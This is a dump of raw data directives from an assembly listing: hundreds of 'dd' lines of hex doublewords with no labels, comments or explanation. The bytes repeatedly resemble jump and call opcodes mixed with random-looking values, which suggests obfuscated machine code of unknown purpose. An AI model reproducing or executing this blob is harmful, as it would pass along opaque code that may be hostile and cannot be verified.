		dd 12E951D7h, 4D000000h, 0CF04124Bh, 0D4011236h, 4E8F9BC7h
		dd 2D105B09h, 850F59E3h, 3, 66F1BF0Fh, 6630A1B9h, 0F823E9BBh
		dd 8B94F080h, 71BF66C3h, 0DBDA80DDh, 13E8h, 874DF100h
		dd 92921D5h, 0F1E5E19Ch, 0A806C06Ah, 0F4DE181Bh, 9E8h
		dd 5A241A00h, 3F5CB8DBh, 0C88A6386h, 81665F5Ah,	0BEC8DEE0h
		dd 4406A247h, 81D38B66h, 17316CFh, 0E7E78025h, 78B8C181h
		dd 8E946B1h, 6E000000h,	4A517371h, 0BE815DBDh, 3E872B52h
		dd 0F743A5BBh, 0CF816671h, 0B70F29EAh, 0B8C8B0FBh, 66893663h
		dd 5BF98B51h, 66F9B70Fh, 0E9C10BBAh, 12h, 3B1A0516h, 0F35E6F3Fh
		dd 2E070E8Ah, 0C9C01385h, 5E96D3Fh, 4E000000h, 8D669244h
		dd 0DB3664BBh, 68B0F34h, 81000000h, 85FF1D0h, 128A0F36h
		dd 0E9000000h, 0Dh, 0E37C9C8h, 502D576Ah, 0E46CD956h, 0C517BBCEh
		dd 0E851254Ch, 9, 985EF2DBh, 0C06D0CFDh, 11E8A3h, 1AB10000h
		dd 64826CCFh, 86CADAh, 3610FE48h, 584E526Dh, 880F5959h
		dd 5, 9CE19B9h,	810F600Eh, 2, 56615F56h, 5A22CF80h, 60FEE881h
		dd 8152440Bh, 3D961FF1h, 860F5856h, 2, 0BE925B3h, 0A5000000h
		dd 7F3D1F8h, 0A7CDA63Dh, 8B6650A9h, 0B25851FBh,	12E8DDh
		dd 0E53E0000h, 60B142D8h, 987E5E20h, 9986951Dh,	0E75E3B1Bh
		dd 9BB4F859h, 0A860Fh, 8A0F0000h, 4, 81DAB866h,	14E9h
		dd 4055B700h, 821B3A29h, 2EB42709h, 213D3854h, 0C5831B81h
		dd 0D9B70FFFh, 0CEBF0FF8h, 13E9h, 1FBDEC00h, 9AD9BC0Dh
		dd 0BC830416h, 0D99C61F7h, 84A42B3Ah, 188D0Fh, 13E90000h
		dd 0F1000000h, 6080859Dh, 98A706D9h, 90229DFCh,	6315DBBDh
		dd 50F9CCD3h, 0C31B2AB8h, 14E85A12h, 0A4000000h, 5085ED38h
		dd 362371BEh, 0F4033B0Eh, 0E394BE7Dh, 0E8931DB6h, 12h
		dd 48EFA20Dh, 0E7DA3B57h, 0CA438285h, 3FCA0D95h, 0F58A2924h
		dd 0B70F5B58h, 1CBB66F7h, 0E8D18BBAh, 0Dh, 5E7F353Bh, 0DED69E83h
		dd 0D893476Ah, 0BE9B0h,	0DFE10000h, 0F7935437h,	50AA59DEh
		dd 0CE805A6Dh, 0D7B70FFDh, 2EC480F9h, 0C578B0BFh, 77E98157h
		dd 0F44636Dh, 284h, 8B5CB100h, 0B4DABAD6h, 81666E68h, 814E00E6h
		dd 801BFBCBh, 0D7816658h, 0F98B1F32h, 2870Fh, 5A560000h
		dd 4820Fh, 60510000h, 0BE665861h, 8E0FDF54h, 3,	0F22EF80h
		dd 58Bh, 3CBEBF00h, 0DF814D67h,	17830536h, 0EE8h, 51C15F00h
		dd 40D0FE08h, 723FA81Ah, 6665A00Bh, 0C35FD881h,	0E4C9815Eh
		dd 0F0A9978h, 98Eh, 38B0F00h, 66000000h, 8166F08Bh, 81C477EEh
		dd 96CFA2E3h, 0DAB70F0Ch, 0E963D280h, 0Ah, 0BB016363h
		dd 1585200Dh, 8F0F20EDh, 7, 1870Fh, 0FF50000h, 0B83h, 5820F00h
		dd 66000000h, 38C6D281h, 850F29B1h, 16h, 11E9h,	4A4E7E00h
		dd 0A087E264h, 0B6910CC1h, 0A0658103h, 0F60E0FFh, 6661FABFh
		dd 0B40DE681h, 4860Fh, 0B8660000h, 5F528815h, 0BB66F48Ah
		dd 0E8F8EE9Ch, 11h, 1979E077h, 0C12FF7EAh, 0BBC16901h
		dd 0FE63EACDh, 27CF8199h, 5B4439ECh, 14E9h, 0BCC6E600h
		dd 26C82F28h, 64ACA07Ch, 0B9962B5Ch, 0BE4C9FDFh, 77BE6655h
		dd 0D0BF0F90h, 0EA72BA66h, 0F34D680h, 80h, 0C68B6600h
		dd 0E871D080h, 10h, 5CBE75E9h, 0D8643805h, 52AB022Bh, 17F20A8Ch
		dd 6659F9B1h, 813DF081h, 0DE9h,	0F56EEF00h, 2AA9D1EEh
		dd 3BFA1F1h, 8166D158h,	0FC217E7h, 66F5F3BFh, 0FFCC88Bh
		dd 682h, 0F4D28100h, 0E90CBC09h, 8, 0AA5F7CD3h,	7E824E26h
		dd 9E8h, 0FC431C00h, 9991199Eh,	0F51C90Ch, 5E58D1B7h, 0B70FF38Bh
		dd 3830FD9h, 0F000000h,	0F281F1BFh, 142DC290h, 0EC38F281h
		dd 0EE809E2h, 5E000000h, 0C1BACC5h, 9BE4E7D3h, 1876FDCAh
		dd 9E973h, 1DD20000h, 6F6A3657h, 591C1213h, 5BF9B152h
		dd 9BE53F8h, 583682B8h,	0BBDBBF0Fh, 5EFCCD9Bh, 7B3CCE81h
		dd 11E8562Bh, 0DF000000h, 0D4929218h, 0B8D7E19Eh, 797CD518h
		dd 1CCFCABDh, 2C7815Eh,	0E843B0B1h, 8, 3A30C622h, 1320CB4Ch
		dd 7099BE66h, 13E9F55Fh, 4F000000h, 2FD68162h, 0FEB068F6h
		dd 3682FC8h, 0F489DF53h, 0DB81C3B3h, 1A66AAC6h,	0EE9h
		dd 85225000h, 0D57F929Fh, 0F81F8289h, 0E9FD59EBh, 5, 0ABDF6576h
		dd 9E959h, 1B230000h, 0DA9009F5h, 56D2A22Eh, 5D179DBFh
		dd 810F5843h, 4, 59D8BE66h, 138A0Fh, 60600000h,	0AE961h
		dd 2FDE0000h, 0C21F4CAEh, 0FBFBDCCh, 66D18A61h,	0FC2F37BFh
		dd 0B70FC88Bh, 5830FF6h, 0B9000000h, 7E7CDA05h,	0DAB86660h
		dd 0F18B669Fh, 81BAB561h, 745DD6E8h, 0E9EF8A37h, 0Eh, 1E5DE860h
		dd 226970FAh, 783A34E4h, 0FE9858Ah, 76000000h, 41BFEF6Fh
		dd 505A3E0h, 0E9707A37h, 0CB8BFCFCh, 5E9h, 0CF29100h, 0B70F6B98h
		dd 0C98060FBh, 8DF81FAh, 612E8C38h, 1870Fh, 66F50000h
		dd 81A0CA81h, 48E0Fh, 0BF660000h, 0B966E9B7h, 5853E4E1h
		dd 8E9h, 96CCC00h, 0C74DB1F9h, 0DEBF0F3Ah, 0F6B70FF8h
		dd 587FB966h, 61DD8A60h, 9E9h, 0B73A9D00h, 0E8B26D96h
		dd 0BF66AB7Fh, 0D1802032h, 666060C8h, 1F14C181h, 0B26161F9h
		dd 567DB2ACh, 0AE9h, 0B3F6B800h, 8E6F2FC5h, 5A1BD380h
		dd 0B1BAD98Bh, 526F6F91h, 0F60535Fh, 86h, 820F00h, 61000000h
		dd 0FA8B6659h, 8BD0B70Fh, 6E9D3h, 6F770000h, 0B8CCEFA6h
		dd 0CE9h, 97356300h, 0ABFF9107h, 6DE5AB9h, 11E9AEh, 0EDF00000h
		dd 92B5920Dh, 9725910Dh, 6A2ED2F7h, 8B8B5E77h, 9ED80C8h
		dd 5AD38A50h, 11E9F5h, 0FC070000h, 0FFDB6FE2h, 69DADDB5h
		dd 9ACFB8B4h, 0F80286ACh, 439E01B8h, 0A9BA6608h, 0D8B70FEBh
		dd 75BF6657h, 0E8605A49h, 0Ah, 0E39300F7h
		dd 7081F4E7h, 0DC8ADCB6h, 7E959h, 0DC2A0000h, 3119FEE3h
		dd 0BA6661BCh, 8D0FA830h, 3, 0E959F856h, 6, 0D39C13C1h
		dd 14E89EF7h, 96000000h, 0DF4726F5h, 0D107B5Dh,	3CDD0F97h
		dd 904D70DEh, 0F4D371Eh, 0E84h,	9E900h,	0A0D50000h, 640012CFh
		dd 5F5DB220h, 0E872EF80h, 6, 0A9DF33DEh, 860FEAB8h, 6
		dd 880Fh, 66590000h, 8166D68Bh,	0F9D39D3h, 28Bh, 57EC8A00h
		dd 0FE9h, 6A5B5B00h, 3F11C92h, 701F8A6Ah, 13823504h, 0BB665758h
		dd 0F85FDCB2h, 9FF28166h, 0B5F1B029h, 0CE8B6663h, 830Fh
		dd 0FA8B0000h, 0E960EDB2h, 0Ah,	9A0D650Ch, 0A6111E62h
		dd 860FC869h, 2, 0BA616160h, 11137D4Bh,	7C655BBBh, 0E9F38A39h
		dd 0Eh,	3E140D67h, 0E182B9Eh, 0F16E765h, 0EC80C162h, 0F576067h
		dd 87h,	8B665A00h, 0B70F61DFh, 0AE9D8h,	928B0000h, 0A169A1B3h
		dd 0FCDB5EC7h, 0CFB70FF9h, 38D0F60h, 66000000h,	0D98BD68Bh
		dd 0AE961h, 54AA0000h, 4EDAB044h, 45873DAEh, 0BD38166h
		dd 2CDB8199h, 0E8352792h, 0Fh, 7396952Dh, 0BE57558Ch, 55CF79CEh
		dd 0F5B5588h, 383h, 0FA8B6600h,	0D5D5BF5Ah, 840F6651h
		dd 0
		dd 0FA8B6660h, 61F6BF0Fh, 304E24BAh, 5AF95078h,	0D0D18166h
		dd 8F0F53A6h, 0Ch, 7E9h, 0F9D11E00h, 0A3E6C2A9h, 0D281665Fh
		dd 0D6812972h, 4DCA06FDh, 14E9h, 0F3B09300h, 4D50CAB4h
		dd 0C6594270h, 0ACD5487Dh, 0D613734Bh, 5E50F8F9h, 1DBDBB66h
		dd 850Fh, 0E9570000h, 12h, 0E4FF84C8h, 1465FD33h, 4CDB0E16h
		dd 0A5A8203Ah, 6058B5FAh, 0BE8FCh, 0E49C0000h, 99A394FEh
		dd 21AC0BDEh, 5F616062h, 0AE961h, 56A90000h, 0F34A67F0h
		dd 3CD26DB6h, 5E8h, 77253100h, 0E960D003h, 6, 7D888DD0h
		dd 0DE8646Ah, 63000000h, 1CCE2B34h, 0E459D06Dh,	0A16BFEA5h
		dd 0F5A6159h, 580h, 0BEE1B900h,	66605092h, 0E961C88Bh
		dd 9, 97E74C96h, 0C8CA3C89h, 1F2817Bh, 0F7CB7D4h, 8B66CBB7h
		dd 8E9F3h, 473F0000h, 0A9C5DD6Eh, 8B66F706h, 816657F2h
		dd 5E07F8CEh, 0E9A7DB80h, 0Ch, 88BB0665h, 5F7E8F4Bh, 0BF98C03Ch
		dd 168780B8h, 0D0D5805Dh, 7E9h,	1C211E00h, 1370E46Eh, 0CC1076BBh
		dd 11E869h, 0C20C0000h,	759392ABh, 81C1AFA0h, 0CED18DBBh
		dd 60E78FAAh, 0E21C8BB9h, 8E0F3Dh, 61000000h, 0C381575Bh
		dd 786D8A9Ah, 2860F58h,	8A000000h, 0E5BE60D9h, 614ECA30h
		dd 5E8h, 7EB47700h, 12E9C016h, 0F2000000h, 8C3BD170h, 1A27FFBDh
		dd 12863CE5h, 2B5DCF71h, 0B9665811h, 4BB9644Dh,	662CD1E2h
		dd 0E989ECB8h, 7, 0D07B1D8Eh, 81515947h, 1F6215E6h, 11E38044h
		dd 8F0FE7B4h, 20h, 14E8h, 62CA9E00h, 150069AEh,	0C96785FAh
		dd 92FC9744h, 7BBD70EEh, 800FB0h, 5F000000h, 5E9h, 78F1C300h
		dd 0F281360Bh, 4DAF6C51h, 0FE8h, 0E8080B00h, 7DAE8E35h
		dd 5FAB9520h, 0D2B7C6C3h, 6E85Fh, 0D7F30000h, 0E1BA11CAh
		dd 5A0FE980h, 0FFBF0F56h, 4DBB665Ah, 88B0FA5h, 0F000000h
		dd 281h, 805B5000h, 0BF0FC2C0h,	0FB8B66F7h, 0FF8F18Bh
		dd 687h, 8CC68100h, 0E91C961Bh,	0Fh, 517DF90Dh,	0EA9DB42Ch
		dd 6F669453h, 0F3DB5DFh, 1A8Ah,	10E800h, 0EA380000h, 0F58E0AA0h
		dd 0AAA7380Eh, 6E89A91Eh, 0BB66976Fh, 0BE5833A7h, 3B0D322Bh
		dd 0FC698FBFh, 0C389BB79h, 860F108Ah, 0Ch, 6830Fh, 8A0F0000h
		dd 0
		dd 0A870F50h, 0E9000000h, 5, 8E4D4E0Bh,	0DA8A59B6h, 0EC3EBA66h
		dd 0E750B866h, 0C8C0Fh,	830F0000h, 6, 840Fh, 53F80000h
		dd 68C1815Eh, 0F51FBF3Ah, 0BFA0E981h, 0FA8A33C9h, 0B40BE66h
		dd 0A1ED8060h, 14E961h,	81E00000h, 0B22E2AA4h, 0EB8B9C2Bh
		dd 0DE2D2DA2h, 24A943F7h, 52601063h, 870Fh, 0E9590000h
		dd 10h,	0E03C7FE3h, 54653D94h, 2BFF1109h, 0FBEB02EBh, 0CE816661h
		dd 81664370h, 0F860DC8h, 188Bh,	10E96000h, 67000000h, 1FD771Fh
		dd 13672F8Dh, 766D12AAh, 0FCA46D08h, 0DE961h, 30FE0000h
		dd 3677B202h, 9D7F8ACAh, 0F513C433h, 14870Fh, 0FE90000h
		dd 99000000h, 16F506C7h, 11A4E64Dh, 4F9EBACCh, 0C980AAF2h
		dd 19B86666h, 1AB96688h, 3890F2Fh, 66000000h, 8BF8D98Bh
		dd 10E9FAh, 0A4950000h,	24854FEh, 0BD85B8DAh, 0C4F07D7Eh
		dd 0E68AA67Eh, 3BC5F381h, 0CA816B1Bh, 704EDBC5h, 61B866FCh
		dd 0CA8B6622h, 8A4BD180h, 0EBDB81ECh, 663989C8h, 0BB4153BFh
		dd 2859E8F4h, 8E9h, 2871F500h, 8076D58Ah, 48E0F2Bh, 66000000h
		dd 6653B5BBh, 0BA75F3BAh, 47D9B85Eh, 0D870Fh, 8E90000h
		dd 47000000h, 7E778AB2h, 57C79277h, 59C7BF0Fh, 0BE66CC8Ah
		dd 0D98B7DAAh, 0F3BF0F51h, 0D98B665Bh, 58A0Fh, 80510000h
		dd 665AE3EAh, 594AD781h, 53CF8B66h, 7F38166h, 0BF665AB2h
		dd 0D98028EEh, 12E860EFh, 0B9000000h, 2E624A14h, 0D4915A3Ah
		dd 557335D7h, 3806D094h, 59F98B6Fh, 38F0Fh, 8B660000h
		dd 816661C1h, 0B002AFD1h, 0F08B6639h, 108A0Fh, 8E80000h
		dd 0B6000000h, 9AEF649Dh, 8A34AB4Ch, 0F9535ACAh, 0CBB70F5Fh
		dd 10E8h, 2F31EA00h, 0F39DBFDBh, 8C7609F3h, 2F6C0AEEh
		dd 0F5FF9ACh, 0CB8BDEBFh, 0F5C2BF0Fh, 0D6816660h, 14E9B13Bh
		dd 85000000h, 0E4ECA7CAh, 0F6B0D04Eh, 68EC6B3Bh, 5E9FE156h
		dd 61573523h, 79D6BE66h, 0CE8h,	7F9AE800h, 559D016Dh, 0D4BA621Eh
		dd 585B5126h, 2860Fh, 0E78A0000h, 10E9h, 0E412EB00h, 0B40A86E4h
		dd 0ACD66C83h, 0D1A18BC2h, 7E91Ah, 0F4BA0000h, 267E44EAh
		dd 46DD80DAh, 0BA61B460h, 7DFE86D0h, 4830F61h, 66000000h
		dd 0F96C84BBh, 38B0Fh, 8B660000h, 7E9F2h, 1A820000h, 6179D872h
		dd 0C28B664Eh, 60FCD88Bh, 0E224BA66h, 0B800Fh, 5E80000h
		dd 4F000000h, 7CEDB924h, 87B6615Bh, 0C80DD6B9h,	0CABB60h
		dd 0F9605356h, 66BE6651h, 0F8615FB3h, 0E407B866h, 88B0Fh
		dd 800F0000h, 2, 0F58A5A50h, 8E9h, 0BE431600h, 0E82EC002h
		dd 0FE9EBh, 6F800000h, 3A48DCC9h, 18F4A034h, 0DF948A91h
		dd 9E940h, 5D4C0000h, 0DE46E9DAh, 0FF72CDAh, 14E9C9BFh
		dd 1000000h, 151F153Fh,	80CF7E7Fh, 0D952064Ah, 0D59723A0h
		dd 6659FAF1h, 20B9FB8Bh, 0E9240759h, 11h, 0B60ECBC2h, 0FC63F092h
		dd 23205BEh, 38684EACh,	9ABEF971h, 0F66D507h, 383h, 0D8B70F00h
		dd 57CE8B66h, 77F78166h, 0FE95B39h, 0A000000h, 63DD9440h
		dd 8AE67B9Bh, 0B99C4123h, 0B7FC2535h, 0E98166B0h, 850F8403h
		dd 5, 0D38B6652h, 0DEB70F5Eh, 0B9CABF0Fh, 5023950h, 8166D78Bh
		dd 0F41FBF0h, 884h, 2860F00h, 0B6000000h, 4213BE44h, 0BF6638B1h
		dd 12E96E8Ah, 84000000h, 2D967712h, 9DC549D9h, 0B5632F1h
		dd 6346E4A4h, 0DE87Ah, 7E5D0000h, 0D1FE6B1Dh, 0A46F25D9h
		dd 0E976DB08h, 5, 0EBB2EEC4h, 0E850584Bh, 9, 0A5340DFh
		dd 6D22E85Fh, 5A5A5286h, 0A8BB665Eh, 12E9E8h, 4EE70000h
		dd 3C17CB31h, 6CFB93D8h, 4D49D10Eh, 343BD9CFh, 1F71E7BAh
		dd 0D6B70F3Ch, 2F8FF381h, 66FC2536h, 0E107D381h, 5AA402BFh
		dd 3810F64h, 52000000h,	0B96058F8h, 236D3AE9h, 44BB6660h
		dd 0DCE1B8DAh, 61615FB3h, 2820Fh, 0D98B0000h, 0DC27DCBEh
		dd 0EE93Dh, 0BB450000h,	0EB34A301h, 0FF56CE85h,	0F9D2386h
		dd 0D9EB8166h, 850F6019h, 6, 8A0Fh, 66610000h, 0B4BED38Bh
		dd 605A0929h, 0BF6660F5h, 0F7BB1EC6h, 6151165Fh, 1800F61h
		dd 0FC000000h, 74E78166h, 0C7F681B5h, 66521A64h, 0E609E381h
		dd 5850Fh, 0F0BB0000h, 661C96AEh, 0E8EBCDBAh, 13h, 4AC0FE78h
		dd 3FC0F946h, 0EA890D1Ah, 3F8A8A07h, 0F5A73E4h,	815ACAB7h
		dd 13B281E0h, 98C0F5Bh,	0F000000h, 389h, 0D98B6600h, 7E9h
		dd 8E38EF00h, 24CBB0BBh, 0FE9h,	8DC89C00h, 0FDE634F0h
		dd 6C48EE7Ah, 0E298AD65h, 0A7E88166h, 6830F78h,	81000000h
		dd 9EEA51EFh, 6E877h, 85B10000h, 0FBBDF06Ch, 3830Fh, 0B70F0000h
		dd 81665EF6h, 0F5AD16D8h, 5830Fh, 81660000h, 0B6C4FBC0h
		dd 6E973h, 3D720000h, 0DD662223h, 0EE9h, 709FF300h, 0F71FE784h
		dd 0BDF8B1CAh, 0B0E7E433h, 0F2D98131h, 605A9AA4h, 12E9h
		dd 4C81D00h, 20A38DCDh,	0BD69F57Bh, 8809DFAh, 0FCE9C147h
		dd 0BA5B5261h, 770CE9FFh, 0E9F38B66h, 13h, 5693C59Fh, 9895E7AAh
		dd 0AF677B7Ah, 30F16BEEh, 0E90D58BFh, 6, 20796929h, 66536D71h
		dd 0F5BCE8Bh, 0E83h, 6E85300h, 0AB000000h, 4BF6804Bh, 8B5B586Dh
		dd 8B6657C8h, 0CE85EC6h, 5F000000h, 7EC8575Fh, 7AC2B5C2h
		dd 5F06285Dh, 0F88B3AB1h, 6E9h,	0E4529300h, 0F9BE7C24h
		dd 0F0D68166h, 10820FBEh, 0E9000000h, 0Bh, 280DD3B2h, 38723A16h
		dd 509DCABBh, 5AFE8B66h, 0E26DD381h, 8B0F22D5h,	5, 3874B6BFh
		dd 10E93Eh, 767B0000h, 97FC0ADEh, 7BC0D544h, 40CBAC55h
		dd 0A7B01D8Fh, 0F8DE8B66h, 0D8BF0F60h, 0C0B96661h, 0DEDA81CDh
		dd 6631B2BBh, 81A165BBh, 936C0F0h, 0DE9FC48h, 0F2000000h
		dd 3F02371Dh, 0C555AA2Ch, 3D0CAD91h, 0F381DF8Bh, 7477C521h
		dd 9E8h, 41D34600h, 0B8E717ACh,	81666F08h, 593141EFh, 0B70F17B1h
		dd 34BEBBD2h, 0F88B15D0h, 9E96060h, 98000000h, 0D07FA7B3h
		dd 0EBBDE01Bh, 61D1B70Fh, 5800Fh, 4FBF0000h, 6119710Fh
		dd 0D8A0Fh, 81600000h, 339D2BD6h, 0D081667Eh, 81613BC2h
		dd 22E548E6h, 6E826h, 0E0DC0000h, 9B438974h, 58A6E880h
		dd 0B820Fh, 850F0000h, 5, 382270BAh, 0DE8B6678h, 0FC1B70Fh
		dd 68Eh, 94F18100h, 0F461644h, 38Fh, 0E1E38000h, 66C9B70Fh
		dd 0F83636BBh, 0EE9E0B3h, 37000000h, 0DFF4352Eh, 73944E60h
		dd 621D7F0Ah, 8B0F37h, 0F000000h, 585h,	0CF01BB00h, 66F81694h
		dd 0F89A1CBBh, 0E081C78Bh, 3E73F134h, 0BA66F960h, 8B618ABEh
		dd 0CEBF0FD6h, 28F0Fh, 0E28A0000h, 0A8F0Fh, 8D0F0000h
		dd 4, 8635B866h, 0F88BBFB3h, 8BC78B66h,	0D78B66F1h, 11E8h
		dd 0DA237500h, 685E42BFh, 68EFC268h, 2CC19C3h, 860F6F36h
		dd 13h,	0DE8h, 3814B700h, 0E0DA5A7Dh, 0FC9EE942h, 5E5984ABh
		dd 98A0Fh, 810F0000h, 3, 50F2BF0Fh, 5880Fh, 71B90000h
		dd 5B4C6024h, 0E9D7B70Fh, 14h, 70A86539h, 8C3C4B17h, 593F954Ch
		dd 0EB96DDD9h, 6EF41E8Fh, 8B665F53h, 0C840FCEh,	60000000h
		dd 0E67ABF66h, 338AE181h, 8B613154h, 8B66F8F3h,	66D68BF7h
		dd 9526C381h, 38B0Fh, 8B660000h, 0EB81F5D0h, 65F332FFh
		dd 8E9DA8Bh, 76000000h,	0EA337B36h, 667C1DA9h, 0BA8D1BBAh
		dd 51CBF543h, 12E9FCh, 0F3EA0000h, 1DD919D6h, 63A9E86Ch
		dd 0F4191B87h, 346E2C83h, 13E8h, 641EFF00h, 5A55F176h
		dd 0A412AB42h, 0EDBE148Dh, 4AB636FBh, 8E9h, 0B261F500h
		dd 5E123514h, 0F515838h, 682h, 830F00h,	59000000h, 8166C38Bh
		dd 51F90FCEh, 8B595BB1h, 66C38BC6h, 6790E181h, 3870Fh
		dd 8B660000h, 605356CFh, 0F595861h, 686h, 46D78100h, 0F3B000Eh
		dd 128Fh, 0DE900h, 0FF890000h, 1F85A213h, 0D9F92145h, 0E9246ABDh
		dd 0Ch,	0E98CC7EFh, 0F8A6EE70h,	5965FD8h, 8166E78Ah, 0E93872CEh
		dd 10h,	0A24171ACh, 0B88320DBh,	5C0BAE34h, 9F078C0h, 0B9DFBF0Fh
		dd 3A09F46Dh, 599273B8h, 47BA664Fh, 0EE827h, 8C9E0000h
		dd 9575616h, 0E68593A2h, 4E8E15ECh, 0DE85Eh, 0F4630000h
		dd 5DD9D91Dh, 12096745h, 0E88DCECAh, 0Ch, 41B011A0h, 77DF2173h
		dd 82F3D63Dh, 5BF08B66h, 0E880F5Ah, 0E9000000h,	9, 2EE5464h
		dd 1BC8EA10h, 7E978h, 66450000h, 0BD08A6FEh, 0FD5B303h
		dd 589h, 0FA9EBB00h, 0B70F4DADh, 0C5B966CAh, 0D98B66EEh
		dd 0EC17E281h, 2ABF5EF8h, 66699386h, 860FF38Bh,	2, 0BF0FDE8Ah
		dd 0FC5B7DFh, 589h, 0E6FFBE00h,	0BF0F3FD3h, 0AE960D7h
		dd 0FD000000h, 0C8C66AC7h, 6DA8B807h, 38E0F44h,	66000000h
		dd 6661D98Bh, 681FC181h, 0E8D4D380h, 0Dh, 0F74023FBh, 0CD8E1285h
		dd 1486E67Fh, 0CBA5BFB9h, 0E95B3A11h, 0Fh, 84A1AEAh, 47BEAEB1h
		dd 5462A8E7h, 0F9EBB5Ch, 1589h,	0DE800h, 0BD760000h, 1C861ED1h
		dd 2625A6A5h, 51E91BF7h, 0E9F9595Eh, 10h, 0EB7E837Eh, 0BAE7F977h
		dd 17F67467h, 0C0B43181h, 0AE8FCh, 0AE500000h, 3EFF7E2Fh
		dd 0ED066FD7h, 58F9BF0Fh, 0D85A57BEh, 0BF0F6018h, 6141B6D0h
		dd 0FC88B66h, 158Eh, 10E900h, 0F1D40000h, 0A1CBDBABh, 738C7191h
		dd 8689F182h, 81660A05h, 0BBF681EAh, 0D1D278Fh,	0AE8C28Bh
		dd 3A000000h, 0ACC090EFh, 0E2E6E384h, 0D6816681h, 0B0581FAAh
		dd 5753503Eh, 665F5958h, 10CCE881h, 0B86696B7h,	80FC4889h
		dd 8F0F36C2h, 4, 3987BA66h, 0F1816660h,	12E9A602h, 4F000000h
		dd 46EF406Bh, 0A0A40774h, 4BB56504h, 0EBFBF09Ah, 0F536172h
		dd 8Ah,	0E8F55900h, 8, 617D49A1h, 1F0848AAh, 5FF08B66h
		dd 9E9FCh, 16F90000h, 0EECFACD9h, 0BF3D054Bh, 3A83AEC2h
		dd 74CEBA66h, 0DE8h, 0A9AA500h,	771B9590h, 0D9BFB729h
		dd 8158968Bh, 5D8CF0F6h, 3830F4Bh, 66000000h, 850FCF8Bh
		dd 4, 0D75BBB66h, 97DF8166h, 0F78B66AAh, 0CE9h,	5CA0CC00h
		dd 0A870D3C7h, 0DE9EFB55h, 666051A2h, 61E2DABBh, 0CF8AF55Ah
		dd 5E9h, 1BAEC400h, 86B86996h, 0F508BEB3h, 8B0FCE8Ah, 0Ch
		dd 6860Fh, 840F0000h, 0
		dd 0EDDCB8h, 8B66F815h,	12E8F1h, 0E9C50000h, 3A754D3Fh
		dd 0CB8596DFh, 0ADA61D1Bh, 0A9D0DD9Bh, 1800Fh, 5EF80000h
		dd 1850Fh, 8BF80000h, 32BF66F1h, 69B966BCh, 0ABC380D4h
		dd 41F08166h, 0F38A535Dh, 0DF8B6659h, 0D28BB966h, 51DAB70Fh
		dd 0FE960h, 198B0000h, 0A52E6744h, 4C2A7E0h, 0DF4164FFh
		dd 0EE857h, 1CED0000h, 965903Ah, 9D24F3A0h, 576C929Ah
		dd 0FC5F6159h, 3842BF66h, 817BE580h, 0A95E2DC9h, 19EF8023h
		dd 0D78B66F5h, 8CBBDB81h, 816666F2h, 0E91D6AD8h, 13h, 0ADD52B31h
		dd 851D88h, 0D0431011h,	31B26CDFh, 0E9991B07h, 11h, 3BEF6BECh
		dd 0B59AFEF2h, 95FCD08Ah, 56FA2CAFh, 0F595783h,	480h, 0EBBE6600h
		dd 0D8B70F42h, 0D4A014BAh, 0C68B665Eh, 0F2D28160h, 0F1B04E7h
		dd 482h, 0BEBA6600h, 0F506112h,	480h, 0C9BB6600h, 0FF55E63h
		dd 1580h, 10E900h, 91D60000h, 213C4ED8h, 24D7A52h, 0B816666Dh
		dd 12B733D1h, 15890FFCh, 0E8000000h, 0Ah, 58FA36E7h, 804C49BEh
		dd 8166EE21h, 5BFB2DC6h, 8166C28Bh, 0FF567D7h, 583h, 0D9816600h
		dd 0BB66DDBCh, 65BB8CE2h, 0FC0149E7h, 8E9h, 0C4405A00h
		dd 82A327CEh, 8BE28A41h, 34C480FBh, 0CE9h, 26FEE600h, 8F78355Ah
		dd 0C4045145h, 0CE892h,	3A0E0000h, 35747CBAh, 0DB1B7972h
		dd 0E8600D1Bh, 0Bh, 0DBF59D61h,	0E4244C2Dh, 59B112C6h
		dd 6113C680h, 0EA81665Ah, 0BE9ABCDh, 8B000000h,	0E676495h
		dd 3C8D3CDAh, 880FC46Eh, 0
		dd 46B5DF8Bh, 5596F181h, 0E950632Eh, 0Dh, 6CDA9E1Fh, 3CA2E8DFh
		dd 3E77CA35h, 0B9665A1Fh, 0CE8E5E6h, 0C5000000h, 82FF728Bh
		dd 0CED6CE05h, 5A77AC21h, 0C8A0Fh, 8B0F0000h, 6, 8F0Fh
		dd 0BF660000h, 79B42040h, 0F6001B7h, 1182h, 0CE900h, 99100000h
		dd 0A91CAABDh, 95FA85CFh, 0BB66BC3Dh, 0F561402Ah, 0DE9F5h
		dd 46210000h, 8F149CC6h, 4D34EDA1h, 801A5D0Ch, 0B1B539C1h
		dd 9E9h, 0F823B300h, 0DB4349AFh, 0EEBFF963h, 663E15BAh
		dd 0F9897AB9h, 75B6EF8Ah, 59C38B51h, 0EC1E4FBEh, 60C68A4Dh
		dd 0ADC9BF66h, 14E9h, 94A32100h, 2BBFB936h, 2C84572Bh
		dd 8F978D79h, 3DA0730Ah, 0C6806119h, 88D0F56h, 0F000000h
		dd 284h, 0E9C68B00h, 6,	0B43B5901h, 2BB68712h, 5E9h, 75522A00h
		dd 0B70FCFE9h, 816656C0h, 5B017CE1h, 80CBB70Fh,	0DF8B96F1h
		dd 0A239B966h, 0F8D68B66h, 0FE9h, 164BE100h, 0DFACD4Bh
		dd 71FFB7E9h, 0CD6F04B2h, 0CABF0FF9h, 0AE9h, 0EFFE4100h
		dd 6E86D014h, 80F4EE2Eh, 8CB8DEE2h, 665FDB4Fh, 0A291F181h
		dd 2684E681h, 4EBB3F5Dh, 8A0CDDE6h, 0F0D681E6h,	8B378839h
		dd 0F18B66D1h, 0FCCB8B66h, 0F46CD80h, 860FD1BFh, 6, 0B880F281h
		dd 0C88B0F19h, 88D0FF8h, 52000000h, 8A0Fh, 0B05F0000h
		dd 81666051h, 0E9C688CEh, 0Ch, 7D4815FEh, 0FAB15CAAh, 0F93FF519h
		dd 8E961h, 0D7C60000h, 88571F87h, 0CC808FC7h, 78C0F27h
		dd 60000000h, 0B70FD38Bh, 0B15161C1h, 0C88A5B34h, 8C0Fh
		dd 12E80000h, 4C000000h, 6F139AC4h, 0DBD7A22h, 0A65B4762h
		dd 5802E683h, 0BB665FF6h, 0FA8B0A10h, 40DE8166h, 68F0FA5h
		dd 81000000h, 10E305C8h, 0FFA8B44h, 28Dh, 60C58A00h, 0CE81D78Bh
		dd 4F4AB9F9h, 0F1816661h, 0BF66F0A2h, 81660CD4h, 601A73C1h
		dd 81CA8B60h, 0D47A89C9h, 1B06141h, 8E961h, 0D9C00000h
		dd 0F21421A6h, 8B664731h, 7E9CFh, 92A00000h, 19D7180Ah
		dd 0FE960A8h, 5F000000h, 0DA344498h, 8DC89CBAh,	0FDE634F0h
